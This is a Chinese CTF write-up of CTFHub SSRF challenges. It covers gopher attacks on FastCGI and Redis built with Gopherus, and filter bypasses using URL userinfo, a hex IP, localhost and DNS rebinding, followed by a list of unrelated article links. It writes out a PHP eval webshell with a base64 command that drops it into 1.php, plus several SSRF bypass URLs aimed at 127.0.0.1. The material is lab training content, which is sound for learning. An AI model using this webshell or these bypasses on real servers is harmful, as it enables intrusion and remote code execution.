当前位置： 首页 > news >正文

ctfhub-web-SSRF（FastCGI协议-DNS重绑定 Bypass）

news 来源：原创 2024/9/21 16:25:11

less-6  FastCGI协议

步骤一：开启环境，查看提示

步骤二：对一句话木马进行base64编码：<?php @eval($_POST[cmd]);?>

echo "PD9waHAgQGV2YWwoJF9QT1NUW2NtZF0pOz8+" | base64 -d > 1.php

步骤三：利用kali，使用Gopherus工具生成payload:

python2 '/home/kali/Desktop/Gopherus/gopherus.py' --exploit fastcgi

/var/www/html/index.php

echo "PD9waHAgQGV2YWwoJF9QT1NUW2NtZF0pOz8+" | base64 -d > 1.php

步骤四：对所生成进行url编码

步骤五：添加到?url=

访问木马程序

步骤六：利用中国菜刀进行连接

找寻flag

显示提交成功

less-7  Redis协议

步骤一：开启环境，查看提示

步骤三：利用kali，使用Gopherus工具生成payload:

利用url进行编码

添加?url=

访问shell.php

利用中国菜刀进行连接

找到flag

显示提交成功

less-8  URL Bypass

步骤一：开启环境，查看提示

访问url=http://127.0.0.1/flag.php

url=http://notfound.ctfhub.com@127.0.0.1/flag.php

显示提交成功

less-9  数字IP Bypass

步骤一：开启环境，查看提示

访问url=http://127.0.0.1/flag.php

进行进制转换，.换成0

输入：url=http://0x7f000001/flag.php

显示提交成功

less-10  302跳转 Bypass

步骤一：开启环境，查看提示

访问url=http://127.0.0.1/flag.php

url=localhost/flag.php

显示提交成功

less-11  DNS重绑定 Bypass

步骤一：开启环境，查看提示

打开题目附件

rbndr.us dns rebinding service (cmpxchg8b.com)

url=http://7f000001.7f000002.rbndr.us/flag.php

显示提交成功

相关文章：

  • 北京网站建设多少钱？
  • 辽宁网页制作哪家好_网站建设
  • 高端品牌网站建设_汉中网站制作
  • Java算法之Gnome 排序
  • 基于web旅游信息平台的设计与实现
  • C语言习题~day38
  • Java项目: 基于SpringBoot+mysql图书个性化推荐系统分前后台 (含源码+数据库+答辩PPT+毕业论文)
  • mac nvm安装及使用（nvm安装指定版本node npm pnpm）
  • 「草莓」即将上线，OpenAI新旗舰大模型曝光，代号「猎户座」
  • 【vue2项目】爷孙组件怎么传值和调用方法
  • GPT带我学-设计模式-责任链模式
  • 游戏开发设计模式之外观模式
  • C语言补习课
  • 【GPT】基于GPT_API_free做一个自己的gpt
  • 服务器死机/无故宕机排查思路/服务器起不来
  • 一篇搞懂classpath,resources
  • 【STM32H743】将全局变量定义到指定内存MDK
  • 设计模式--装饰器模式
  • JavaScript 如何正确处理 Unicode 编码问题！
  • “大数据应用场景”之隔壁老王（连载四）
  • “寒冬”下的金三银四跳槽季来了，帮你客观分析一下局面
  • 10个确保微服务与容器安全的最佳实践
  • javascript数组去重/查找/插入/删除
  • LeetCode18.四数之和 JavaScript
  • oldjun 检测网站的经验
  • Vue组件定义
  • webpack入门学习手记（二）
  • 关于 Linux 进程的 UID、EUID、GID 和 EGID
  • 利用jquery编写加法运算验证码
  • 让你的分享飞起来——极光推出社会化分享组件
  • 设计模式（12）迭代器模式（讲解+应用）
  • 跳前端坑前，先看看这个！！
  • 通过npm或yarn自动生成vue组件
  • 为什么要用IPython/Jupyter?
  • 小程序开发中的那些坑
  • 用 Swift 编写面向协议的视图
  • 中国人寿如何基于容器搭建金融PaaS云平台
  • linux 淘宝开源监控工具tsar
  • ​必胜客礼品卡回收多少钱，回收平台哪家好
  • ​软考-高级-系统架构设计师教程（清华第2版）【第1章-绪论-思维导图】​
  • （26）4.7 字符函数和字符串函数
  • （二）PySpark3：SparkSQL编程
  • （翻译）Entity Framework技巧系列之七 - Tip 26 – 28
  • （分类）KNN算法- 参数调优
  • （论文阅读40-45）图像描述1
  • （一）ClickHouse 中的 `MaterializedMySQL` 数据库引擎的使用方法、设置、特性和限制。
  • (转)Linux NTP配置详解 (Network Time Protocol)
  • .bat批处理（八）：各种形式的变量%0、%i、%%i、var、%var%、!var!的含义和区别
  • .net core 依赖注入的基本用发
  • .Net Web窗口页属性
  • .Net6支持的操作系统版本(.net8已来，你还在用.netframework4.5吗)
  • .NET项目中存在多个web.config文件时的加载顺序
  • .NET学习教程二——.net基础定义+VS常用设置
  • @WebService和@WebMethod注解的用法
  • [ 2222 ]http://e.eqxiu.com/s/wJMf15Ku
  • []FET-430SIM508 研究日志 11.3.31
  • [2021 蓝帽杯] One Pointer PHP
  • [Android] Amazon 的 android 音视频开发文档